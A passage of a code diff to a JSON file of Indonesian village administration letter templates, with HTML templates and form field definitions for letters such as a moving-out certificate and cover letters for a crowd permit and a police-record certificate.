        [qr_code]<\/div>", + "syarat_surat": "[\"2\",\"3\",\"1\"]", + "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan \/ cap jempol di bawah ini :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsiA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nNo. KTP<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.

        <\/td>\r\n
        Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Akan pindah dengan keterangan sebagai berikut:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nAlamat yang dituju<\/td>\r\n:<\/td>\r\nRT [Form_rt_tujuaN], RW [Form_rw_tujuaN], [Sebutan_dusun] [Form_dusun_tujuaN], [Sebutan_desa] [Form_desa_atau_kelurahan_tujuan], Kecamatan [Form_kecamatan_tujuan], [Sebutan_kabupaten] [Form_kabupaten_tujuan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nAlasan Pindah<\/td>\r\n:<\/td>\r\n[Form_alasan_pindah]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nTanggal Pindah<\/td>\r\n:<\/td>\r\n[Form_tanggal_pindaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n13.<\/td>\r\nJumlah Pengikut<\/td>\r\n:<\/td>\r\n[Form_jumlah_pengikuT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


        [Pengikut_pindaH]<\/p>\r\n

        Surat keterangan ini diterbitkan sebagai [Form_keterangaN].<\/p>\r\n

        Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Pemegang Surat,<\/td>\r\n\u00a0<\/td>\r\n[AtAs_nama]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [Nama]<\/td>\r\n\u00a0<\/td>\r\n[NaMa_pamong]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nip_pamonG]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
        \u00a0<\/div>\r\n

        [qr_code]<\/div>", + "template_desa": null, "form_isian": { "individu": { "sumber": 1, @@ -6119,135 +5863,108 @@ ], "data_orang_tua": "0", "data_pasangan": "0", - "judul": "Pemohon", + "judul": "Utama", "label": "Keterangan Pemohon", "info": "", - "sebagai": 1, "hubungan": null } }, - "kode_isian": null, - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Wali Hakim", - "url_surat": "surat-keterangan-wali-hakim", - "kode_surat": "S-32", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Yang namanya tersebut di atas memang benar warga kami yang akan menikah di KUA [NaMa_kecamatan] [SeButan_kabupaten] [NaMa_kabupaten]. Berhubung orang tersebut tidak memiliki Wali Nasab, kami mohon dengan hotmat Bapak Kepala KUA [NaMa_kecamatan] supaya berkenan menjadi Wali.<\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya untuk dapat dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" + "kode_isian": [ + { + "tipe": "text", + "kode": "[form_telepon_pemohon]", + "nama": "Telepon Pemohon", + "deskripsi": "Telepon Pemohon", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "" + }, + { + "tipe": "select-manual", + "kode": "[form_gunakan_format]", + "nama": "Gunakan Format", + "deskripsi": "Pilih Format Lampiran Surat", + "required": "1", + "atribut": null, + "pilihan": [ + "F-1.08 (pindah pergi)", + "F-1.23, F-1.25, F-1.29, F-1.34 (sesuai tujuan)", + "F-1.03 (pindah datang)", + "F-1.27, F-1.31, F-1.39 (sesuai tujuan)" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": null, - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Pergi Kawin", - "url_surat": "surat-keterangan-pergi-kawin", - "kode_surat": "S-30", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nTujuan<\/td>\r\n:<\/td>\r\n[Tujuan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\n[Form_keperluan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nBerlaku<\/td>\r\n:<\/td>\r\n[Mulai_berlaku] sampai dengan [Berlaku_sampai]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "[{\"nilai_isian\":[\"F-1.03 (pindah datang)\"],\"kode_isian_terkait\":[\"Jenis Permohonan\"]}]" + }, + { + "tipe": "select-manual", + "kode": "[form_jenis_permohonan]", + "nama": "Jenis Permohonan", + "deskripsi": "Pilih Jenis Permohonan", + "required": "1", + "atribut": null, + "pilihan": [ + "SURAT KETERANGAN KEPENDUDUKAN", + "SURAT KETERANGAN PINDAH", + "SURAT KETERANGAN PINDAH LUAR NEGERI (SKPLN)", + "SURAT KETERANGAN TEMPAT TINGGAL (SKTT)", + "BAGI ORANG ASING TINGGAL TERBATAS" ], - "sex": "", - "status_dasar": [ - "1" + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "[{\"nilai_isian\":[\"SURAT KETERANGAN TEMPAT TINGGAL (SKTT)\"],\"kode_isian_terkait\":[\"Nama Sponsor\",\"Tipe Sponsor\",\"Alamat Sponsor\",\"Nomor ITAS\",\"Tanggal ITAS\"],\"lampiran_terkait\":[]},{\"nilai_isian\":[\"SURAT KETERANGAN PINDAH LUAR NEGERI (SKPLN)\"],\"kode_isian_terkait\":[\"Negara Tujuan\",\"Kode Negara\",\"Alamat Tujuan Luar Negeri\",\"Penanggung Jawab\"],\"lampiran_terkait\":[]}]" + }, + { + "tipe": "select-manual", + "kode": "[form_alasan_pindah]", + "nama": "Alasan Pindah", + "deskripsi": "Pilih Alasan Pindah", + "required": "1", + "atribut": null, + "pilihan": [ + "PEKERJAAN", + "PENDIDIKAN", + "KEAMANAN", + "KESEHATAN", + "PERUMAHAN", + "KELUARGA", + "LAINNYA" ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "" + }, + { + "tipe": "select-manual", + "kode": "[form_klasifikasi_pindah]", + "nama": "Klasifikasi Pindah", + "deskripsi": "Pilih Klasifikasi Pindah", + "required": "1", + "atribut": null, + "pilihan": [ + "DALAM SATU DESA\/KELURAHAN", + "ANTAR DESA\/KELURAHAN", + "ANTAR KECAMATAN", + "ANTAR KAB\/KOTA", + "ANTAR PROVINSI" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "" + }, { "tipe": "text", - "kode": "[form_tujuan]", - "nama": "Tujuan", - "deskripsi": "Masukkan Tujuan", + "kode": "[form_alamat_tujuan]", + "nama": "Alamat Tujuan", + "deskripsi": "Alamat Tujuan", "required": "1", "atribut": null, "pilihan": null, @@ -6257,10 +5974,49 @@ "kaitkan_kode": "" }, { - "tipe": "textarea", - "kode": "[form_keperluan]", - "nama": "Keperluan", - "deskripsi": "Masukkan Keperluan", + "tipe": "text", + "kode": "[form_rt_tujuan]", + "nama": "RT Tujuan", + "deskripsi": "RT Tujuan", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "RT\/RW\/Dusun Tujuan", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_rw_tujuan]", + "nama": "RW Tujuan", + "deskripsi": "RW Tujuan", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "RT\/RW\/Dusun Tujuan", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_dusun_tujuan]", + "nama": "Dusun Tujuan", + "deskripsi": "Dusun Tujuan", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "RT\/RW\/Dusun Tujuan", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_desa_atau_kelurahan_tujuan]", + "nama": "Desa atau Kelurahan Tujuan", + "deskripsi": "Desa atau Kelurahan Tujuan", "required": "1", "atribut": null, "pilihan": null, @@ -6268,156 +6024,169 @@ "kolom": "", "label": "", "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Pengantar Izin Keramaian", - "url_surat": "surat-pengantar-izin-keramaian", - "kode_surat": "S-12", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nNo. KK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nKepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n13.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\nSebagai pengatar untuk mendapatkan Surat Izin Keramaian berupa [JeNis_acara] mulai tanggal [Mulai_berlaku] sampai dengan [Berlaku_sampai] dengan keperluan [Form_keperluan].<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang tersebut adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dengan data seperti di atas.<\/p>\r\n

        Demikian surat keterangan ini dibuat, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [NAma]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" + }, + { + "tipe": "text", + "kode": "[form_kecamatan_tujuan]", + "nama": "Kecamatan Tujuan", + "deskripsi": "Kecamatan Tujuan", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Kec\/Kab\/Prop Tujuan", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_kabupaten_tujuan]", + "nama": "Kabupaten Tujuan", + "deskripsi": "Kabupaten Tujuan", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Kec\/Kab\/Prop Tujuan", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_provinsi_tujuan]", + "nama": "Provinsi Tujuan", + "deskripsi": "Provinsi Tujuan", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Kec\/Kab\/Prop Tujuan", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_kode_pos_tujuan]", + "nama": "Kode Pos Tujuan", + "deskripsi": "Kode Pos Tujuan", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Kode Pos\/ Telpon", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_telepon_tujuan]", + "nama": "Telepon Tujuan", + "deskripsi": "Telepon Tujuan", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Kode Pos\/ Telpon", + "kaitkan_kode": "" + }, + { + "tipe": "select-manual", + "kode": "[form_jenis_kepindahan]", + "nama": "Jenis Kepindahan", + "deskripsi": "Pilih Jenis Kepindahan", + "required": "1", + "atribut": null, + "pilihan": [ + "KEP. KELUARGA", + "KEP. KELUARGA DAN SELURUH ANGG. KELUARGA", + "KEP. KELUARGA DAN SBG. ANGG. KELUARGA", + "ANGG. KELUARGA" ], - "sex": "", - "status_dasar": [ - "1" + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "" + }, + { + "tipe": "select-manual", + "kode": "[form_status_kk_bagi_yang_tidak_pindah]", + "nama": "Status KK Bagi Yang Tidak Pindah", + "deskripsi": "Pilih Status KK Bagi Yang Tidak Pindah", + "required": "1", + "atribut": null, + "pilihan": [ + "NUMPANG KK", + "MEMBUAT KK BARU", + "TIDAK ADA ANGG. KELUARGA YANG DITINGGAL", + "NOMOR KK TETAP" ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "" + }, + { + "tipe": "select-manual", + "kode": "[form_status_kk_bagi_yang_pindah]", + "nama": "Status KK Bagi Yang Pindah", + "deskripsi": "Pilih Status KK Bagi Yang Pindah", + "required": "1", + "atribut": null, + "pilihan": [ + "NUMPANG KK", + "MEMBUAT KK BARU", + "NOMOR KK TETAP" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "" + }, { "tipe": "text", - "kode": "[form_jenis_acara]", - "nama": "Jenis Acara", - "deskripsi": "Masukkan Jenis Acara", + "kode": "[form_negara_tujuan]", + "nama": "Negara Tujuan", + "deskripsi": "Negara Tujuan", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "6", + "label": "Negara Tujuan", "kaitkan_kode": "" }, { - "tipe": "textarea", - "kode": "[form_keperluan]", - "nama": "Keperluan", - "deskripsi": "Masukkan Keperluan", + "tipe": "text", + "kode": "[form_kode_negara]", + "nama": "Kode Negara", + "deskripsi": "Kode Negara", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Negara Tujuan", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_alamat_tujuan_luar_negeri]", + "nama": "Alamat Tujuan Luar Negeri", + "deskripsi": "Alamat Tujuan (Luar Negeri)", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "", - "label": "", + "label": "Alamat Tujuan (Luar Negeri)", "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Pengantar Surat Keterangan Catatan Kepolisian", - "url_surat": "surat-pengantar-surat-keterangan-catatan-kepolisian", - "kode_surat": "S-07", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nNo. KK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nKepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n13.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\nSebagai pengantar untuk mendapatkan SKCK yang dipergunakan untuk [Form_keterangan].<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang tersebut di atas adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dan menurut data kami tidak pernah terlibat perkara Polisi dan beradat istiadat baik.<\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sesungguhnya untuk dipergunakan sebagaimana mestinya.

